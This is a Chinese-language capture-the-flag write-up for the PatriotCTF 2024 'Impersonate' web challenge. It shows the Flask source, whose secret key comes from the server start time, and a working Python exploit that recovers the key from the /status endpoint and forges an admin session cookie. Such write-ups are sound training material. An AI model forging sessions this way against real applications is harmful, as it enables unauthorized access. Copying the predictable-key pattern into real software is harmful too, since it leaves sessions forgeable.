PatriotCTF2024 Web Impersonate

源码:

#!/usr/bin/env python3
from flask import Flask, request, render_template, jsonify, abort, redirect, session
import uuid
import os
from datetime import datetime, timedelta
import hashlib
app = Flask(__name__)
server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(seconds=300)
flag = os.environ.get('FLAG', "flag{this_is_a_fake_flag}")
secret = uuid.UUID('31333337-1337-1337-1337-133713371337')



def is_safe_username(username):
    """Check if the username is alphanumeric and less than 20 characters."""
    return username.isalnum() and len(username) < 20



@app.route('/', methods=['GET', 'POST'])
def main():
    """Handle the main page where the user submits their username."""
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        password = request.values['password']
        if not is_safe_username(username):
            return render_template('index.html', error='Invalid username')
        if not password:
            return render_template('index.html', error='Invalid password')
        if username.lower().startswith('admin'):
            return render_template('index.html', error='Don\'t try to impersonate administrator!')
        if not username or not password:
            return render_template('index.html', error='Invalid username or password')
        uid = uuid.uuid5(secret, username)
        session['username'] = username
        session['uid'] = str(uid)
        return redirect(f'/user/{uid}')
    


@app.route('/user/<uid>')
def user_page(uid):
    """Display the user's session page based on their UUID."""
    try:
        uid = uuid.UUID(uid)
    except ValueError:
        abort(404)
    session['is_admin'] = False
    return 'Welcome Guest! Sadly, you are not admin and cannot view the flag.'
@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)



@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content

定位到/admin这几行:

@app.route('/admin')
def admin_page():
    """Display the admin page if the user is an admin."""
    if session.get('is_admin') and uuid.uuid5(secret, 'administrator') and session.get('username') == 'administrator':
        return flag
    else:
        abort(401)

需要伪造session,uuid.uuid5(secret, 'administrator')恒为True,不用管,找到key:

server_start_time = datetime.now()
server_start_str = server_start_time.strftime('%Y%m%d%H%M%S')
secure_key = hashlib.sha256(f'secret_key_{server_start_str}'.encode()).hexdigest()
app.secret_key = secure_key

key是服务器启动时间,在/status下会展示已启动时间和服务器目前时间:

@app.route('/status')
def status():
    current_time = datetime.now()
    uptime = current_time - server_start_time
    formatted_uptime = str(uptime).split('.')[0]
    formatted_current_time = current_time.strftime('%Y-%m-%d %H:%M:%S')
    status_content = f"""Server uptime: {formatted_uptime}<br>
    Server time: {formatted_current_time}
    """
    return status_content

所以通过计算key就能伪造session,exp:

from datetime import datetime
from flask_unsign import sign
import hashlib
import requests

url = "http://chal.competitivecyber.club:9999/status"
x = requests.get("http://chal.competitivecyber.club:9999/status")

# 获取现在服务器时间
index_server_time = x.text.find("Server time:") + 13
server_time_str = x.text[index_server_time: ]
server_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (server_time_str[11: 13]), int (server_time_str[14: 16]), int (server_time_str[17: 19]))

# 获取服务器已运行时间
index_up_time = x.text.find("Server uptime:") +15
up_time_str = x.text[index_up_time: index_server_time - 22]
up_time = datetime(int( server_time_str[0: 4] ), int( server_time_str[5: 7] ), int (server_time_str[8: 10]), int (up_time_str[0: 1]), int (up_time_str[2: 4]), int (up_time_str[5: ]))

# 计算key
server_start_time_str = str(server_time - up_time)
server_start_time = datetime(2024, 9, 25, int (server_start_time_str[0: 2]), int (server_start_time_str[3: 5]), int (server_start_time_str[6: 8]))
key  = hashlib.sha256(f'secret_key_{server_start_time.strftime('%Y%m%d%H%M%S')}'.encode()).hexdigest()

# 生成session
session = sign({'is_admin': True, 'username': 'administrator'}, key.encode())


while True:
    text = requests.get("http://chal.competitivecyber.club:9999/admin", cookies={"session": session})
    if text.status_code == 200:
        print(text.text)
        break
    else:
        continue
posted @ 2024-10-09 11:53  bfa-hawk  阅读(4)  评论(0编辑  收藏  举报